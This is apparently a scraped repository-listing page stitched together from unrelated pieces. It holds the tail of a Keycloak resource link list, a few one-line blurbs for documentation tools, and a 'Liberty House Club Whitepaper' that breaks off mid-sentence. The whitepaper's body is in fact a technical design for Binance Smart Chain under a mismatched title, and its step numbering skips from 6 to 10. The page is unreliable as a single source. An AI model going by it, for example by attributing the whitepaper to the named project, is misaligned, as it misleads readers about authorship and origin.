Keycloak](https://github.com/mulesoft-labs/keycloak-duo-spi) * [Extension Keycloak facilitant l'utilisation de FranceConnect](https://github.com/InseeFr/Keycloak-FranceConnect) * [Ambassador Keycloak Support](https://www.getambassador.io/reference/idp-support/keycloak/) * [Keycloak Python Client](https://github.com/akhilputhiry/keycloak-client) * [Keycloak Terraform Provider](https://github.com/mrparkers/terraform-provider-keycloak) * [Keycloak ADFS OpenID Connect](https://www.michaelboeynaems.com/keycloak-ADFS-OIDC.html) * [React/NextJS Keycloak Bindings](https://github.com/panz3r/react-keycloak) * [Keycloak Open-Shift integration](https://github.com/keycloak/openshift-integration) * [Keycloak, Kong and Konga setup scripts (local development)](https://github.com/JaouherK/Kong-konga-Keycloak) * [SSO for Keycloak and Nextcloud with SAML](https://stackoverflow.com/questions/48400812/sso-with-saml-keycloak-and-nextcloud) * [Keycloak Connect GraphQL Adapter for Node.js](https://github.com/aerogear/keycloak-connect-graphql) * [python-keycloak](https://github.com/marcospereirampj/python-keycloak) * [Keycloak and PrivacyId3a docker-compose (local development)](https://github.com/JaouherK/keycloak-privacyIdea) * [Nerzal/gocloak Golang Keycloak API Package](https://github.com/Nerzal/gocloak) * [Apple Social Identity Provider for Keycloak](https://github.com/BenjaminFavre/keycloak-apple-social-identity-provider) ## Quick demo Videos * [Keycloak with istio envoy jwt-auth proxy](https://www.youtube.com/watch?v=wscX7JMfuBI) ## Themes * [Community Keycloak Ionic Theme](https://github.com/lfryc/keycloak-ionic-theme) * [A Keycloak theme based on the AdminLTE UI library](https://github.com/MAXIMUS-DeltaWare/adminlte-keycloak-theme) * [GOV.UK Theme](https://github.com/UKHomeOffice/keycloak-theme-govuk) * [Carbon Design](https://github.com/httpsOmkar/carbon-keycloak-theme) * [Modern](https://keycloakthemes.com/themes/modern) * [Adminlte](https://git.uptic.nl/uptic-public-projects/uptic-keyclock-theme-adminlte) * [keycloakify: Create Keycloak themes using React](https://github.com/InseeFrLab/keycloakify) ## Docker * [Official Keycloak Docker Images](https://github.com/jboss-dockerfiles/keycloak) * [Keycloak Examples as Docker Image](https://hub.docker.com/r/jboss/keycloak-examples) * [Keycloak Maven SDK for managing the entire lifecycle of your extensions with Docker](https://github.com/OpenPj/keycloak-docker-quickstart) ## Kubernetes * [Deprecated Keycloak Helm Chart](https://github.com/codecentric/helm-charts/tree/master/charts/keycloak) * [codecentric Keycloak Helm Chart](https://github.com/codecentric/helm-charts/tree/master/charts/keycloak) * [Import / Export Keycloak Config](https://gist.github.com/unguiculus/19618ef57b1863145262191944565c9d) * [keycloak-operator](https://github.com/keycloak/keycloak-operator) ## Tools * [keycloakmigration: Manage your Keycloak configuration with code](https://github.com/klg71/keycloakmigration) * [tool to autogenerate an OpenAPI Specification for Keycloak's Admin API](https://github.com/ccouzens/keycloak-openapi) * [oidc-bash-client](https://github.com/please-openit/oidc-bash-client) * [louketo-proxy (FKA Gatekeeper)](https://github.com/louketo/louketo-proxy) * [keycloak-config-cli: Configuration as Code for Keycloak](https://github.com/adorsys/keycloak-config-cli) * [Keycloak Pulumi](https://github.com/pulumi/pulumi-keycloak) * [Keycloak on AWS](https://github.com/aws-samples/keycloak-on-aws) * [aws-cdk construct library that allows you to create KeyCloak on AWS in TypeScript or Python](https://github.com/aws-samples/cdk-keycloak) * [keycloak-scanner Python CLI](https://github.com/NeuronAddict/keycloak-scanner) ## Deployment Examples * [Keycloak deployment with CDK on AWS with Fargate](https://github.com/aws-samples/cdk-keycloak) ## Example Projects * [Examples from Keycloak Book: Keycloak - Identity and Access Management for Modern Applications](https://github.com/PacktPublishing/Keycloak-Identity-and-Access-Management-for-Modern-Applications) * [Official Examples](https://github.com/keycloak/keycloak/tree/master/examples) * [Keycloak Quickstarts](https://github.com/keycloak/keycloak-quickstarts) * [Drupal 7.0 with Keycloak](https://gist.github.com/thomasdarimont/17fa146c4fb5440d7fc2ee6322ec392d) * [Securing Realm Resources With Custom Roles](https://github.com/dteleguin/custom-admin-roles) * [BeerCloak: a comprehensive KeyCloak extension example](https://github.com/dteleguin/beercloak) * [KeyCloak Extensions: Securing Realm Resources With Custom Roles](https://github.com/dteleguin/custom-admin-roles) * [Red Hat Single Sign-On Labs](https://github.com/RedHatWorkshops/red-hat-sso) * [Spring Boot Keycloak Tutorial](https://github.com/sebastienblanc/spring-boot-keycloak-tutorial) * [Custom Keycloak Docker Image of Computer Science House of RIT](https://github.com/ComputerScienceHouse/keycloak-docker) * [Example of custom password hash SPI for Keycloak](https://github.com/pavelbogomolenko/keycloak-custom-password-hash) * [Example for a custom http-client-provider with Proxy support](https://github.com/xiaoyvr/custom-http-client-provider) * [Monitor your keycloak with prometheus](https://github.com/larscheid-schmitzhermes/keycloak-monitoring-prometheus) * [Custom User Storage Provider .ear with jboss-cli setup](https://github.com/thomasdarimont/keycloak-user-storage-provider-demo) * [Keycloak - Experimental extensions by Stian Thorgersen/Keycloak](https://github.com/stianst/keycloak-experimental) * [Securing Spring Boot Admin & Actuator Endpoints with Keycloak](https://github.com/thomasdarimont/spring-boot-admin-keycloak-example) * [A Keycloak Mobile Implementation using Angular v4 and Ionic v3](https://github.com/tomjackman/keyonic-v2) * [Example for Securing Apps with Keycloak on Kubernetes](https://github.com/stianst/demo-kubernetes) * [Example for Securing AspDotNet Core Apps with Keycloak](https://github.com/thomasdarimont/kc-dnc-demo) * [Example for passing custom URL parameters to a Keycloak theme for dynamic branding](https://github.com/dteleguin/keycloak-dynamic-branding) * [Angular Webapp secured with Keycloak](https://github.com/CodepediaOrg/bookmarks.dev) * [Keycloak Theme Development Kit](https://github.com/anthonny/kit-keycloak-theme) * [Keycloak Clustering examples](https://github.com/ivangfr/keycloak-clustered) * [Keycloak Last Login Date Event Listener](https://github.com/ThoreKr/keycloak-last-login-event-listener) * [Keycloak Project Example (Customizations, Extensions, Configuration)](https://github.com/thomasdarimont/keycloak-project-example) * [Example of adding API Key authentication to Keycloak](https://github.com/zak905/keycloak-api-key-demo) ## Benchmarks * [Gatling based Benchmark by @rvansa](https://github.com/rvansa/keycloak-benchmark) ## Help * [Keycloak on Stackoverflow](https://stackoverflow.com/questions/tagged/keycloak) ## Commercial Offerings * [Red Hat Single Sign-On](https://access.redhat.com/products/red-hat-single-sign-on) * [INTEGSOFT UNIFIED USER CREDENTIALS WITH KEYCLOAK SSO](https://www.integsoft.cz/en/sso.html#what-is-sso) * [JIRA SSO Plugin by codecentric](https://marketplace.atlassian.com/plugins/de.codecentric.atlassian.oidc.jira-oidc-plugin/server/overview) * [Keycloak Competence Center by Inventage AG](https://keycloak.ch/) * [Keycloak as a Service](https://www.cloud-iam.com) ## Miscellaneous * [Find sites using Keycloak with google](https://www.google.de/search?q=inurl%3Aauth+inurl%3Arealms+inurl%3Aprotocol&oq=inurl%3A&client=ubuntu&sourceid=chrome&ie=UTF-8) * [Keycloak Dev Bookmarks](http://bookmarks.dev/search?q=keycloak) - Use the tag [keycloak](https://www.bookmarks.dev/tagged/keycloak) * [Use fail2ban to block brute-force attacks to keycloak server](https://gist.github.com/drmalex07/3eba8b98d0ac4a1e821e8e721b3e1816) * [Pentest-Report Keycloak 8.0 Audit & Pentest 11.2019 by Cure53](https://cure53.de/pentest-report_keycloak.pdf) * [Keycloak - CNCF Security SIG - Self Assesment](https://docs.google.com/document/d/14IIGliP3BWjdS-0wfOk3l_1AU8kyoSiLUzpPImsz4R0/edit#) # License [](https://creativecommons.org/publicdomain/zero/1.0/) To the extent possible under law, [Thomas Darimont](https://github.com/thomasdarimont) has waived all copyright and related or neighboring rights to this work.
run-at-scale / Vscode Terraform Doc SnippetsSnippets in vscode for all resources and data sources, as yanked directly from provider docs.
dundalek / DinodocPolyglot documentation system for building unified documentation sites
mongodb-university / BluehawkA markup language and tool for extracting code examples, checkpointing tutorials, and dynamically transforming text
boschglobal / DoxysphinxA lightweight Doxygen extension for Sphinx
Mdshobu / Liberty House Club Whitepaper# Liberty House Club **A Parallel Binance Chain to Enable Smart Contracts** _NOTE: This document is under development. Please check regularly for updates!_ ## Table of Contents - [Motivation](#motivation) - [Design Principles](#design-principles) - [Consensus and Validator Quorum](#consensus-and-validator-quorum) * [Proof of Staked Authority](#proof-of-staked-authority) * [Validator Quorum](#validator-quorum) * [Security and Finality](#security-and-finality) * [Reward](#reward) - [Token Economy](#token-economy) * [Native Token](#native-token) * [Other Tokens](#other-tokens) - [Cross-Chain Transfer and Communication](#cross-chain-transfer-and-communication) * [Cross-Chain Transfer](#cross-chain-transfer) * [BC to BSC Architecture](#bc-to-bsc-architecture) * [BSC to BC Architecture](#bsc-to-bc-architecture) * [Timeout and Error Handling](#timeout-and-error-handling) * [Cross-Chain User Experience](#cross-chain-user-experience) * [Cross-Chain Contract Event](#cross-chain-contract-event) - [Staking and Governance](#staking-and-governance) * [Staking on BC](#staking-on-bc) * [Rewarding](#rewarding) * [Slashing](#slashing) - [Relayers](#relayers) * [BSC Relayers](#bsc-relayers) * [Oracle Relayers](#oracle-relayers) - [Outlook](#outlook) # Motivation After its mainnet community [launch](https://www.binance.com/en/blog/327334696200323072/Binance-DEX-Launches-on-Binance-Chain-Invites-Further-Community-Development) in April 2019, [Binance Chain](https://www.binance.org) has exhibited its high speed and large throughput design. Binance Chain’s primary focus, its native [decentralized application](https://en.wikipedia.org/wiki/Decentralized_application) (“dApp”) [Binance DEX](https://www.binance.org/trade), has demonstrated its low-latency matching with large capacity headroom by handling millions of trading volume in a short time. Flexibility and usability are often in an inverse relationship with performance. The concentration on providing a convenient digital asset issuing and trading venue also brings limitations. Binance Chain's most requested feature is the programmable extendibility, or simply the [Smart Contract](https://en.wikipedia.org/wiki/Smart_contract) and Virtual Machine functions. Digital asset issuers and owners struggle to add new decentralized features for their assets or introduce any sort of community governance and activities. Despite this high demand for adding the Smart Contract feature onto Binance Chain, it is a hard decision to make. The execution of a Smart Contract may slow down the exchange function and add non-deterministic factors to trading. If that compromise could be tolerated, it might be a straightforward idea to introduce a new Virtual Machine specification based on [Tendermint](https://tendermint.com/core/), based on the current underlying consensus protocol and major [RPC](https://docs.binance.org/api-reference/node-rpc.html) implementation of Binance Chain. But all these will increase the learning requirements for all existing dApp communities, and will not be very welcomed. We propose a parallel blockchain of the current Binance Chain to retain the high performance of the native DEX blockchain and to support a friendly Smart Contract function at the same time. # Design Principles After the creation of the parallel blockchain into the Binance Chain ecosystem, two blockchains will run side by side to provide different services. The new parallel chain will be called “**Binance Smart Chain**” (short as “**BSC**” for the below sections), while the existing mainnet remains named “**Binance Chain**” (short as “**BC**” for the below sections). Here are the design principles of **BSC**: 1. **Standalone Blockchain**: technically, BSC is a standalone blockchain, instead of a layer-2 solution. Most BSC fundamental technical and business functions should be self-contained so that it can run well even if the BC stopped for a short period. 2. **Ethereum Compatibility**: The first practical and widely-used Smart Contract platform is Ethereum. To take advantage of the relatively mature applications and community, BSC chooses to be compatible with the existing Ethereum mainnet. This means most of the **dApps**, ecosystem components, and toolings will work with BSC and require zero or minimum changes; BSC node will require similar (or a bit higher) hardware specification and skills to run and operate. The implementation should leave room for BSC to catch up with further Ethereum upgrades. 3. **Staking Involved Consensus and Governance**: Staking-based consensus is more environmentally friendly and leaves more flexible option to the community governance. Expectedly, this consensus should enable better network performance over [proof-of-work](https://en.wikipedia.org/wiki/Proof_of_work) blockchain system, i.e., faster blocking time and higher transaction capacity. 4. **Native Cross-Chain Communication**: both BC and BSC will be implemented with native support for cross-chain communication among the two blockchains. The communication protocol should be bi-directional, decentralized, and trustless. It will concentrate on moving digital assets between BC and BSC, i.e., [BEP2](https://github.com/binance-chain/BEPs/blob/master/BEP2.md) tokens, and eventually, other BEP tokens introduced later. The protocol should care for the minimum of other items stored in the state of the blockchains, with only a few exceptions. # Consensus and Validator Quorum Based on the above design principles, the consensus protocol of BSC is to fulfill the following goals: 1. Blocking time should be shorter than Ethereum network, e.g. 5 seconds or even shorter. 2. It requires limited time to confirm the finality of transactions, e.g. around 1-min level or shorter. 3. There is no inflation of native token: BNB, the block reward is collected from transaction fees, and it will be paid in BNB. 4. It is compatible with Ethereum system as much as possible. 5. It allows modern [proof-of-stake](https://en.wikipedia.org/wiki/Proof_of_stake) blockchain network governance. ## Proof of Staked Authority Although Proof-of-Work (PoW) has been recognized as a practical mechanism to implement a decentralized network, it is not friendly to the environment and also requires a large size of participants to maintain the security. Ethereum and some other blockchain networks, such as [MATIC Bor](https://github.com/maticnetwork/bor), [TOMOChain](https://tomochain.com/), [GoChain](https://gochain.io/), [xDAI](https://xdai.io/), do use [Proof-of-Authority(PoA)](https://en.wikipedia.org/wiki/Proof_of_authority) or its variants in different scenarios, including both testnet and mainnet. PoA provides some defense to 51% attack, with improved efficiency and tolerance to certain levels of Byzantine players (malicious or hacked). It serves as an easy choice to pick as the fundamentals. Meanwhile, the PoA protocol is most criticized for being not as decentralized as PoW, as the validators, i.e. the nodes that take turns to produce blocks, have all the authorities and are prone to corruption and security attacks. Other blockchains, such as EOS and Lisk both, introduce different types of [Delegated Proof of Stake (DPoS)](https://en.bitcoinwiki.org/wiki/DPoS) to allow the token holders to vote and elect the validator set. It increases the decentralization and favors community governance. BSC here proposes to combine DPoS and PoA for consensus, so that: 1. Blocks are produced by a limited set of validators 2. Validators take turns to produce blocks in a PoA manner, similar to [Ethereum’s Clique](https://eips.ethereum.org/EIPS/eip-225) consensus design 3. Validator set are elected in and out based on a staking based governance ## Validator Quorum In the genesis stage, a few trusted nodes will run as the initial Validator Set. After the blocking starts, anyone can compete to join as candidates to elect as a validator. The staking status decides the top 21 most staked nodes to be the next validator set, and such an election will repeat every 24 hours. **BNB** is the token used to stake for BSC. In order to remain as compatible as Ethereum and upgradeable to future consensus protocols to be developed, BSC chooses to rely on the **BC** for staking management (Please refer to the below “[Staking and Governance](#staking-and-governance)” section). There is a **dedicated staking module for BSC on BC**. It will accept BSC staking from BNB holders and calculate the highest staked node set. Upon every UTC midnight, BC will issue a verifiable `ValidatorSetUpdate` cross-chain message to notify BSC to update its validator set. While producing further blocks, the existing BSC validators check whether there is a `ValidatorSetUpdate` message relayed onto BSC periodically. If there is, they will update the validator set after an **epoch period**, i.e. a predefined number of blocking time. For example, if BSC produces a block every 5 seconds, and the epoch period is 240 blocks, then the current validator set will check and update the validator set for the next epoch in 1200 seconds (20 minutes). ## Security and Finality Given there are more than ½\*N+1 validators are honest, PoA based networks usually work securely and properly. However, there are still cases where certain amount Byzantine validators may still manage to attack the network, e.g. through the “[Clone Attack](https://arxiv.org/pdf/1902.10244.pdf)”. To secure as much as BC, BSC users are encouraged to wait until receiving blocks sealed by more than ⅔\*N+1 different validators. In that way, the BSC can be trusted at a similar security level to BC and can tolerate less than ⅓\*N Byzantine validators. With 21 validators, if the block time is 5 seconds, the ⅔\*N+1 different validator seals will need a time period of (⅔\*21+1)*5 = 75 seconds. Any critical applications for BSC may have to wait for ⅔\*N+1 to ensure a relatively secure finality. However, besides such arrangement, BSC does introduce **Slashing** logic to penalize Byzantine validators for **double signing** or **inavailability**, which will be covered in the “Staking and Governance” section later. This Slashing logic will expose the malicious validators in a very short time and make the “Clone Attack” very hard or extremely non-beneficial to execute. With this enhancement, ½\*N+1 or even fewer blocks are enough as confirmation for most transactions. ## Reward All the BSC validators in the current validator set will be rewarded with transaction **fees in BNB**. As BNB is not an inflationary token, there will be no mining rewards as what Bitcoin and Ethereum network generate, and the gas fee is the major reward for validators. As BNB is also utility tokens with other use cases, delegators and validators will still enjoy other benefits of holding BNB. The reward for validators is the fees collected from transactions in each block. Validators can decide how much to give back to the delegators who stake their BNB to them, in order to attract more staking. Every validator will take turns to produce the blocks in the same probability (if they stick to 100% liveness), thus, in the long run, all the stable validators may get a similar size of the reward. Meanwhile, the stakes on each validator may be different, so this brings a counter-intuitive situation that more users trust and delegate to one validator, they potentially get less reward. So rational delegators will tend to delegate to the one with fewer stakes as long as the validator is still trustful (insecure validator may bring slashable risk). In the end, the stakes on all the validators will have less variation. This will actually prevent the stake concentration and “winner wins forever” problem seen on some other networks. Some parts of the gas fee will also be rewarded to relayers for Cross-Chain communication. Please refer to the “[Relayers](#relayers)” section below. # Token Economy BC and BSC share the same token universe for BNB and BEP2 tokens. This defines: 1. The same token can circulate on both networks, and flow between them bi-directionally via a cross-chain communication mechanism. 2. The total circulation of the same token should be managed across the two networks, i.e. the total effective supply of a token should be the sum of the token’s total effective supply on both BSC and BC. 3. The tokens can be initially created on BSC in a similar format as ERC20 token standard, or on BC as a BEP2, then created on the other. There are native ways on both networks to link the two and secure the total supply of the token. ## Native Token BNB will run on BSC in the same way as ETH runs on Ethereum so that it remains as “native token” for both BSC and BC. This means, in addition to BNB is used to pay most of the fees on Binance Chain and Binance DEX, BNB will be also used to: 1. pay “fees“ to deploy smart contracts on BSC 2. stake on selected BSC validators, and get corresponding rewards 3. perform cross-chain operations, such as transfer token assets across BC and BSC ### Seed Fund Certain amounts of BNB will be burnt on BC and minted on BSC during its genesis stage. This amount is called “Seed Fund” to circulate on BSC after the first block, which will be dispatched to the initial BC-to-BSC Relayer(described in later sections) and initial validator set introduced at genesis. These BNBs are used to pay transaction fees in the early stage to transfer more BNB from BC onto BSC via the cross-chain mechanism. The BNB cross-chain transfer is discussed in a later section, but for BC to BSC transfer, it is generally to lock BNB on BC from the source address of the transfer to a system-controlled address and unlock the corresponding amount from special contract to the target address of the transfer on BSC, or reversely, when transferring from BSC to BC, it is to lock BNB from the source address on BSC into a special contract and release locked amount on BC from the system address to the target address. The logic is related to native code on BC and a series of smart contracts on BSC. ## Other Tokens BC supports BEP2 tokens and upcoming [BEP8 tokens](https://github.com/binance-chain/BEPs/pull/69), which are native assets transferrable and tradable (if listed) via fast transactions and sub-second finality. Meanwhile, as BSC is Ethereum compatible, it is natural to support ERC20 tokens on BSC, which here is called “**BEP2E**” (with the real name to be introduced by the future BEPs,it potentially covers BEP8 as well). BEP2E may be “Enhanced” by adding a few more methods to expose more information, such as token denomination, decimal precision definition and the owner address who can decide the Token Binding across the chains. BSC and BC work together to ensure that one token can circulate in both formats with confirmed total supply and be used in different use cases. ### Token Binding BEP2 tokens will be extended to host a new attribute to associate the token with a BSC BEP2E token contract, called “**Binder**”, and this process of association is called “**Token Binding**”. Token Binding can happen at any time after BEP2 and BEP2E are ready. The token owners of either BEP2 or BEP2E don’t need to bother about the Binding, until before they really want to use the tokens on different scenarios. Issuers can either create BEP2 first or BEP2E first, and they can be bound at a later time. Of course, it is encouraged for all the issuers of BEP2 and BEP2E to set the Binding up early after the issuance. A typical procedure to bind the BEP2 and BEP2E will be like the below: 1. Ensure both the BEP2 token and the BEP2E token both exist on each blockchain, with the same total supply. BEP2E should have 3 more methods than typical ERC20 token standard: * symbol(): get token symbol * decimals(): get the number of the token decimal digits * owner(): get **BEP2E contract owner’s address.** This value should be initialized in the BEP2E contract constructor so that the further binding action can verify whether the action is from the BEP2E owner. 2. Decide the initial circulation on both blockchains. Suppose the total supply is *S*, and the expected initial circulating supply on BC is *K*, then the owner should lock S-K tokens to a system controlled address on BC. 3. Equivalently, *K* tokens is locked in the special contract on BSC, which handles major binding functions and is named as **TokenHub**. The issuer of the BEP2E token should lock the *K* amount of that token into TokenHub, resulting in *S-K* tokens to circulate on BSC. Thus the total circulation across 2 blockchains remains as *S*. 4. The issuer of BEP2 token sends the bind transaction on BC. Once the transaction is executed successfully after proper verification: * It transfers *S-K* tokens to a system-controlled address on BC. * A cross-chain bind request package will be created, waiting for Relayers to relay. 5. BSC Relayers will relay the cross-chain bind request package into **TokenHub** on BSC, and the corresponding request and information will be stored into the contract. 6. The contract owner and only the owner can run a special method of TokenHub contract, `ApproveBind`, to verify the binding request to mark it as a success. It will confirm: * the token has not been bound; * the binding is for the proper symbol, with proper total supply and decimal information; * the proper lock are done on both networks; 10. Once the `ApproveBind` method has succeeded, TokenHub will mark the two tokens are bounded and share the same circulation on BSC, and the status will be propagated back to BC. After this final confirmation, the BEP2E contract address and decimals will be written onto the BEP2 token as a new attribute on BC, and the tokens can be transferred across the two blockchains bidirectionally. If the ApproveBind fails, the failure event will also be propagated back to BC to release the locked tokens, and the above steps can be re-tried later. # Cross-Chain Transfer and Communication Cross-chain communication is the key foundation to allow the community to take advantage of the dual chain structure: * users are free to create any tokenization, financial products, and digital assets on BSC or BC as they wish * the items on BSC can be manually and programmingly traded and circulated in a stable, high throughput, lighting fast and friendly environment of BC * users can operate these in one UI and tooling ecosystem. ## Cross-Chain Transfer The cross-chain transfer is the key communication between the two blockchains. Essentially the logic is: 1. the `transfer-out` blockchain will lock the amount from source owner addresses into a system controlled address/contracts; 2. the `transfer-in` blockchain will unlock the amount from the system controlled address/contracts and send it to target addresses. The cross-chain transfer package message should allow the BSC Relayers and BC **Oracle Relayers** to verify: 1. Enough amount of token assets are removed from the source address and locked into a system controlled addresses/contracts on the source blockchain. And this can be confirmed on the target blockchain. 2. Proper amounts of token assets are released from a system controlled addresses/contracts and allocated into target addresses on the target blockchain. If this fails, it can be confirmed on source blockchain, so that the locked token can be released back (may deduct fees). 3. The sum of the total circulation of the token assets across the 2 blockchains are not changed after this transfer action completes, no matter if the transfer succeeds or not.  The architecture of cross-chain communication is as in the above diagram. To accommodate the 2 heteroid systems, communication handling is different in each direction. ## BC to BSC Architecture BC is a Tendermint-based, instant finality blockchain. Validators with at least ⅔\*N+1 of the total voting power will co-sign each block on the chain. So that it is practical to verify the block transactions and even the state value via **Block Header** and **Merkle Proof** verification. This has been researched and implemented as “**Light-Client Protocol**”, which are intensively discussed in [the Ethereum](https://github.com/ethereum/wiki/wiki/Light-client-protocol) community, studied and implemented for [Cosmos inter-chain communication](https://github.com/cosmos/ics/blob/a4173c91560567bdb7cc9abee8e61256fc3725e9/spec/ics-007-tendermint-client/README.md). BC-to-BSC communication will be verified in an “**on-chain light client**” implemented via BSC **Smart Contracts** (some of them may be **“pre-compiled”**). After some transactions and state change happen on BC, if a transaction is defined to trigger cross-chain communication,the Cross-chain “**package**” message will be created and **BSC Relayers** will pass and submit them onto BSC as data into the "build-in system contracts". The build-in system contracts will verify the package and execute the transactions if it passes the verification. The verification will be guaranteed with the below design: 1. BC blocking status will be synced to the light client contracts on BSC from time to time, via block header and pre-commits, for the below information: * block and app hash of BC that are signed by validators * current validatorset, and validator set update 2. the key-value from the blockchain state will be verified based on the Merkle Proof and information from above #1. After confirming the key-value is accurate and trustful, the build-in system contracts will execute the actions corresponding to the cross-chain packages. Some examples of such packages that can be created for BC-to-BSC are: 1. Bind: bind the BEP2 tokens and BEP2E 2. Transfer: transfer tokens after binding, this means the circulation will decrease (be locked) from BC and appear in the target address balance on BSC 3. Error Handling: to handle any timeout/failure event for BSC-to-BC communication 4. Validatorset update of BSC To ensure no duplication, proper message sequence and timely timeout, there is a “Channel” concept introduced on BC to manage any types of the communication. For relayers, please also refer to the below “Relayers” section. ## BSC to BC Architecture BSC uses Proof of Staked Authority consensus protocol, which has a chance to fork and requires confirmation of more blocks. One block only has the signature of one validator, so that it is not easy to rely on one block to verify data from BSC. To take full advantage of validator quorum of BC, an idea similar to many [Bridge ](https://github.com/poanetwork/poa-bridge)or Oracle blockchains is adopted: 1. The cross-chain communication requests from BSC will be submitted and executed onto BSC as transactions. The execution of the transanction wil emit `Events`, and such events can be observed and packaged in certain “**Oracle**” onto BC. Instead of Block Headers, Hash and Merkle Proof, this type of “Oracle” package directly contains the cross-chain information for actions, such as sender, receiver and amount for transfer. 2. To ensure the security of the Oracle, the validators of BC will form anothe quorum of “**Oracle Relayers**”. Each validator of the BC should run a **dedicated process** as the Oracle Relayer. These Oracle Relayers will submit and vote for the cross-chain communication package, like Oracle, onto BC, using the same validator keys. Any package signed by more than ⅔\*N+1 Oracle Relayers’ voting power is as secure as any block signed by ⅔\*N+1 of the same quorum of validators’ voting power. By using the same validator quorum, it saves the light client code on BC and continuous block updates onto BC. Such Oracles also have Oracle IDs and types, to ensure sequencing and proper error handling. ## Timeout and Error Handling There are scenarios that the cross-chain communication fails. For example, the relayed package cannot be executed on BSC due to some coding bug in the contracts. **Timeout and error handling logics are** used in such scenarios. For the recognizable user and system errors or any expected exceptions, the two networks should heal themselves. For example, when BC to BSC transfer fails, BSC will issue a failure event and Oracle Relayers will execute a refund on BC; when BSC to BC transfer fails, BC will issue a refund package for Relayer to relay in order to unlock the fund. However, unexpected error or exception may still happen on any step of the cross-chain communication. In such a case, the Relayers and Oracle Relayers will discover that the corresponding cross-chain channel is stuck in a particular sequence. After a Timeout period, the Relayers and Oracle Relayers can request a “SkipSequence” transaction, the stuck sequence will be marked as “Unexecutable”. A corresponding alerts will be raised, and the community has to discuss how to handle this scenario, e.g. payback via the sponsor of the validators, or event clear the fund during next network upgrade. ## Cross-Chain User Experience Ideally, users expect to use two parallel chains in the same way as they use one single chain. It requires more aggregated transaction types to be added onto the cross-chain communication to enable this, which will add great complexity, tight coupling, and maintenance burden. Here BC and BSC only implement the basic operations to enable the value flow in the initial launch and leave most of the user experience work to client side UI, such as wallets. E.g. a great wallet may allow users to sell a token directly from BSC onto BC’s DEX order book, in a secure way. ## Cross-Chain Contract Event Cross-Chain Contract Event (CCCE) is designed to allow a smart contract to trigger cross-chain transactions, directly through the contract code. This becomes possible based on: 1. Standard system contracts can be provided to serve operations callable by general smart contracts; 2. Standard events can be emitted by the standard contracts; 3. Oracle Relayers can capture the standard events, and trigger the corresponding cross-chain operations; 4. Dedicated, code-managed address (account) can be created on BC and accessed by the contracts on the BSC, here it is named as **“Contract Address on BC” (CAoB)**. Several standard operations are implemented: 1. BSC to BC transfer: this is implemented in the same way as normal BSC to BC transfer, by only triggered via standard contract. The fund can be transferred to any addresses on BC, including the corresponding CAoB of the transfer originating contract. 2. Transfer on BC: this is implemented as a special cross-chain transfer, while the real transfer is from **CAoB** to any other address (even another CAoB). 3. BC to BSC transfer: this is implemented as two-pass cross-chain communication. The first is triggered by the BSC contract and propagated onto BC, and then in the second pass, BC will start a normal BC to BSC cross-chain transfer, from **CAoB** to contract address on BSC. A special note should be paid on that the BSC contract only increases balance upon any transfer coming in on the second pass, and the error handling in the second pass is the same as the normal BC to BSC transfer. 4. IOC (Immediate-Or-Cancel) Trade Out: the primary goal of transferring assets to BC is to trade. This event will instruct to trade a certain amount of an asset in CAoB into another asset as much as possible and transfer out all the results, i.e. the left the source and the traded target tokens of the trade, back to BSC. BC will handle such relayed events by sending an “Immediate-Or-Cancel”, i.e. IOC order onto the trading pairs, once the next matching finishes, the result will be relayed back to BSC, which can be in either one or two assets. 5. Auction Trade Out: Such event will instruct BC to send an auction order to trade a certain amount of an asset in **CAoB** into another asset as much as possible and transfer out all the results back to BSC at the end of the auction. Auction function is upcoming on BC. There are some details for the Trade Out: 1. both can have a limit price (absolute or relative) for the trade; 2. the end result will be written as cross-chain packages to relay back to BSC; 3. cross-chain communication fees may be charged from the asset transferred back to BSC; 4. BSC contract maintains a mirror of the balance and outstanding orders on CAoB. No matter what error happens during the Trade Out, the final status will be propagated back to the originating contract and clear its internal state. With the above features, it simply adds the cross-chain transfer and exchange functions with high liquidity onto all the smart contracts on BSC. It will greatly add the application scenarios on Smart Contract and dApps, and make 1 chain +1 chain > 2 chains. # Staking and Governance Proof of Staked Authority brings in decentralization and community involvement. Its core logic can be summarized as the below. You may see similar ideas from other networks, especially Cosmos and EOS. 1. Token holders, including the validators, can put their tokens “**bonded**” into the stake. Token holders can **delegate** their tokens onto any validator or validator candidate, to expect it can become an actual validator, and later they can choose a different validator or candidate to **re-delegate** their tokens<sup>1</sup>. 2. All validator candidates will be ranked by the number of bonded tokens on them, and the top ones will become the real validators. 3. Validators can share (part of) their blocking reward with their delegators. 4. Validators can suffer from “**Slashing**”, a punishment for their bad behaviors, such as double sign and/or instability. 5. There is an “**unbonding period**” for validators and delegators so that the system makes sure the tokens remain bonded when bad behaviors are caught, the responsible will get slashed during this period. ## Staking on BC Ideally, such staking and reward logic should be built into the blockchain, and automatically executed as the blocking happens. Cosmos Hub, who shares the same Tendermint consensus and libraries with Binance Chain, works in this way. BC has been preparing to enable staking logic since the design days. On the other side, as BSC wants to remain compatible with Ethereum as much as possible, it is a great challenge and efforts to implement such logic on it. This is especially true when Ethereum itself may move into a different Proof of Stake consensus protocol in a short (or longer) time. In order to keep the compatibility and reuse the good foundation of BC, the staking logic of BSC is implemented on BC: 1. The staking token is BNB, as it is a native token on both blockchains anyway 2. The staking, i.e. token bond and delegation actions and records for BSC, happens on BC. 3. The BSC validator set is determined by its staking and delegation logic, via a staking module built on BC for BSC, and propagated every day UTC 00:00 from BC to BSC via Cross-Chain communication. 4. The reward distribution happens on BC around every day UTC 00:00. ## Rewarding Both the validator update and reward distribution happen every day around UTC 00:00. This is to save the cost of frequent staking updates and block reward distribution. This cost can be significant, as the blocking reward is collected on BSC and distributed on BC to BSC validators and delegators. (Please note BC blocking fees will remain rewarding to BC validators only.) A deliberate delay is introduced here to make sure the distribution is fair: 1. The blocking reward will not be sent to validator right away, instead, they will be distributed and accumulated on a contract; 2. Upon receiving the validator set update into BSC, it will trigger a few cross-chain transfers to transfer the reward to custody addresses on the corresponding validators. The custody addresses are owned by the system so that the reward cannot be spent until the promised distribution to delegators happens. 3. In order to make the synchronization simpler and allocate time to accommodate slashing, the reward for N day will be only distributed in N+2 days. After the delegators get the reward, the left will be transferred to validators’ own reward addresses. ## Slashing Slashing is part of the on-chain governance, to ensure the malicious or negative behaviors are punished. BSC slash can be submitted by anyone. The transaction submission requires **slash evidence** and cost fees but also brings a larger reward when it is successful. So far there are two slashable cases. ### Double Sign It is quite a serious error and very likely deliberate offense when a validator signs more than one block with the same height and parent block. The reference protocol implementation should already have logic to prevent this, so only the malicious code can trigger this. When Double Sign happens, the validator should be removed from the Validator **Set** right away. Anyone can submit a slash request on BC with the evidence of Double Sign of BSC, 